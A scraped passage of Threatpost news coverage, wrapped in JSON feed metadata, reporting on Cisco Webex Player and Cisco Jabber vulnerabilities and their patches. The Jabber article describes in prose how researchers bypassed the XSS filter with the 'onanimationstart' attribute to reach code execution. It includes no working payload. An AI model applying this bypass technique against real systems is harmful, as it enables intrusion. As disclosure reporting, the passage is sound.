Cisco.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile Cisco did not detail the technicalities of the vulnerabilities, it said that \u201can attacker could exploit these vulnerabilities by sending a malicious ARF or WRF file to a user through a link or email attachment and persuading the user to open the file on the local system,\u201d according to Cisco in a [Wednesday advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200304-webex-player>). \u201cA successful exploit could allow the attacker to execute arbitrary code on the affected system with the privileges of the targeted user.\u201d\n\nBrian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program, told Threatpost that the flaw allows remote attackers to execute arbitrary code \u2013 but it does require user interaction.\n\n\u201cUser interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file,\u201d he told Threatpost via email. \u201cSpecifically, this bug exists is in atpdmod.dll module and the vulnerable code is reachable using a crafted ARF File. This program fails to initialize a pointer and later writes data to this pointer. In the worst case, this could lead to remote code execution in the context of the current process.\u201d\n\nDifferent versions of Webex Network Recording Player and Webex Player are affected by the flaws, based on the platforms they are being managed on. The players are available from Cisco Webex Meetings and Cisco Webex Meetings Online (which is when conferencing systems are managed by Cisco Webex), and Cisco Webex Meetings Server (where customers host and manage conferencing solutions in their own private clouds).\n\nFor Cisco Webex Meetings, affected versions for both products include releases earlier than WBS 39.5.17 or WBS 39.11.0. For Webex Meetings Online, affected versions for both products include releases earlier than 1.3.49. And, for Cisco Webex Meetings Server, versions of Webex Network Recording Player earlier 3.0MR3SecurityPatch1 and 4.0MR2SecurityPatch2 are affected.\n\nTo determine which release of Cisco Webex Network Recording Player or Cisco Webex Player is installed on a system, users can open the player and choose Help > About. The fixed releases can be found below.\n\n[![Webex Flaw Cisco Patch](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/05093159/Screen-Shot-2020-03-05-at-9.05.50-AM-1024x227.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/05093159/Screen-Shot-2020-03-05-at-9.05.50-AM.png>)\n\nCisco said it\u2019s not aware of the flaws being exploited by attackers at this time. Francis Provencher (PRL) working with Trend Micro Zero Day Initiative, and Kexu Wang of Fortinet\u2019s FortiGuard Labs were credited with discovering the flaws (Threatpost has reached out to both researchers for further details of the vulnerability and will update this post accordingly).\n\nWebex has been haunted by other vulnerabilities since the start of the year. In January, [Cisco fixed a high-severity vulnerability](<https://threatpost.com/cisco-webex-flaw-lets-unauthenticated-users-join-private-online-meetings/152191/>) in Webex that could have let strangers barge in on password-protected meetings sans authentication. A [separate high-severity flaw](<https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/>) also disclosed by Cisco in January could enable a remote attacker to execute commands in Webex.\n\nBeyond Webex, Cisco on Wednesday [released patches addressing](<https://tools.cisco.com/security/center/publicationListing.x>) flaws tied to a total of 13 CVEs. Other high-severity flaws include a vulnerability in the SSL implementation of the Cisco Intelligent Proximity solution, which is a tool allowing users to see and control content in a meeting room from their own devices. The certificate validation vulnerability ([CVE-2020-3155](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-proximity-ssl-cert-gBBu3RB>)) could allow an unauthenticated, remote attacker to view or alter information shared on Cisco Webex video devices and Cisco collaboration endpoints.\n\nAnd, a high-severity cross-site request forgery (CSRF) flaw exists in Cisco Prime Network Registrar, software that is comprised of components for various services, including Domain Name System (DNS) services and Dynamic Host Configuration Protocol services. The flaw (CVE-2020-3148) in the online interface of the registrar could allow an unauthenticated, remote attacker to conduct a CSRF attack on an affected systems.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-05T15:11:11", "type": "threatpost", "title": "High-Severity Cisco Webex Flaws Fixed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3127", "CVE-2020-3128", "CVE-2020-3148", "CVE-2020-3155"], "modified": "2020-03-05T15:11:11", "id": "THREATPOST:FC2AB9DBD639AEF3E55048C4BBCFC321", "href": "https://threatpost.com/high-severity-cisco-webex-flaws-fixed/153462/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:14:21", "description": "Researchers are warning of a critical remote code-execution (RCE) flaw in the Windows version of Cisco Jabber, the networking company\u2019s video-conferencing and instant-messaging application. Attackers can exploit the flaw merely by sending targets specially crafted messages \u2013 no user interaction required.\n\nThe flaw ([CVE-2020-3495](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-jabber-UyTKCPGg>)) has a CVSS score of 9.9 out of 10, making it critical in severity, Cisco said in a Wednesday advisory. Researchers with Watchcom, who discovered the flaw, said that with remote workforces surging during the [coronavirus pandemic](<https://threatpost.com/working-from-home-covid-19s-constellation-of-security-challenges/153720/>), the implications of the vulnerability are especially serious.\n\n\u201cGiven their newfound prevalence in organizations of all sizes, these applications are becoming an increasingly attractive target for attackers,\u201d Watchcom researchers said in an [analysis on Wednesday](<https://watchcom.no/nyheter/nyhetsarkiv/uncovers-cisco-jabber-vulnerabilities/>). \u201cA lot of sensitive information is shared through video calls or instant messages, and the applications are used by the majority of employees, including those with privileged access to other IT systems.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAn attacker could exploit the flaw by sending specially crafted Extensible Messaging and Presence Protocol (XMPP) messages to vulnerable end-user systems running Cisco Jabber for Windows. XMPP is an XML-based protocol for instant messaging, based on an open standard, which is widely used in both open-source and proprietary software.\n\nWhile attackers can be remote to launch such an attack, they may require access to the same XMPP domain or another method of access to be able to send messages to clients, according to researchers. However, for the most part, the attack is easy to carry out: No user interaction is required on the part of the targeted victim, and the vulnerability can be exploited even when Cisco Jabber is running in the background.\n\nThe issue stems from Cisco Jabber improperly validating message contents; the application does not properly sanitize incoming HTML messages. It instead passes the messages through a flawed cross-site scripting (XSS) filter. Researchers discovered that this filter could be bypassed using an attribute called \u201conanimationstart.\u201d This attribute is used to specify a JavaScript function that will be called when an element\u2019s CSS animation starts playing.\n\nUsing the attribute (along with a built-in animation assigned to it) researchers found it was possible to create malicious HTML tags that the filter did not catch, and were ultimately executed. As a final step, researchers created a malicious message using these HTML tags, that then intercepted an XMPP message sent by the application and modified it.\n\n[![Cisco Jabber](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/03125156/jabber-calc-300x169.gif)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/03125156/jabber-calc.gif>)\n\nThe Jabber RCE vulnerability in action. Credit: Watchcom\n\nAttackers can do this manually on their own machine or it can be automated to create a worm that spreads automatically, said researchers.\n\nFinally, \u201cas a result of exploitation, an attacker could cause the application to run an arbitrary executable that already exists within the local file path of the application,\u201d according to Cisco. \u201cThe executable would run on the end-user system with the privileges of the user who initiated the Cisco Jabber client application.\u201d\n\nSystems using Cisco Jabber in phone-only mode (without XMPP messaging services enabled) are not vulnerable to exploitation, Cisco\u2019s advisory said. In addition, the vulnerability is not exploitable when Cisco Jabber is configured to use messaging services other than XMPP messaging.\n\nThe vulnerabilities affect all currently supported versions of the Cisco Jabber client (12.1 \u2013 12.9)

Severe Cisco DoS Flaw Can Cripple Nexus Switches

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